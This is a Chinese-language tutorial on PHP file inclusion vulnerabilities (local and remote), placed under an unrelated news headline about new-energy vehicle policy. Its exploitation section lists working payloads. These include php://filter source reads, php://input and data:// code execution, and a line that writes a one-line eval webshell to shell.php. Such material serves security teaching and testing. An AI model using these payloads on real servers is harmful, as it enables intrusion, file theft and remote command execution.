工信部汽車管理處:要保持新能源汽車支援政策的連續和穩定
阿新 • • 發佈:2021-10-15
一、漏洞介紹
把重複使用的程式碼設成變數用於動態呼叫,引數使用者可控。從而導致使用者可以呼叫惡意檔案,造成檔案包含漏洞。
二、產生原因
- 引數使用者可控
- 使用檔案包含函式
include()
include_once()
require()
require_once()
- include與require區別
require的檔案出錯,主程式也停止
include的檔案出錯,主程式繼續執行
三、漏洞危害
- 敏感資訊洩露
- 獲取webshell
- 任意命令執行
四、漏洞檢測
- 白盒:
程式碼審計 - 黑盒:
web漏洞掃描
cms公開漏洞
- 手動檢測:
?file=
?page=
類似場景
五、漏洞分類
- 本地包含(LFI)
被包含檔案在伺服器本地。
- 遠端包含(RFI)
被包含檔案在第三方伺服器。
條件:
php配置
allow_url_fopen=on
allow_url_include=on
六、漏洞利用
1. 結合檔案上傳漏洞
2. 本地包含
讀取本地敏感檔案。
3. 遠端包含
使用第三方伺服器,準備webshell。
4. php偽協議
分類
內建協議:http、https、ftp、file
偽協議:php://input、php://filter
利用條件:
php>=5.2
allow_url_fopen=on
allow_url_include=on
- file://
?file=file://本地檔案絕對路徑 - php://filter
?file=php://filter/read=convert.base64-encode/resource=./index.php
- php://input
?file=php://input <?php phpinfo(); ?> - data://
?file=data://text/plain,<?php phpinfo(); ?>
?file=data://text/plain;base64,base64碼
- 讀取檔案原始碼用法
?file=php://filter/read=convert.base64-encode/resource=檔案
敏感檔案如 phpinfo.php 等 - 執行php程式碼用法
?file=php://input 內容
<?php phpinfo(); ?>
- 寫入一句話木馬用法
?file=php://input <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?> - 總結:
在這可以理解成遠端檔案包含漏洞,即POST過去PHP程式碼,即可執行。如果POST的資料是執行寫入一句話木馬的PHP程式碼,就會在當前目錄下寫入一個木馬。
七、防禦與修復
包含引數儘量寫死,不要動態呼叫。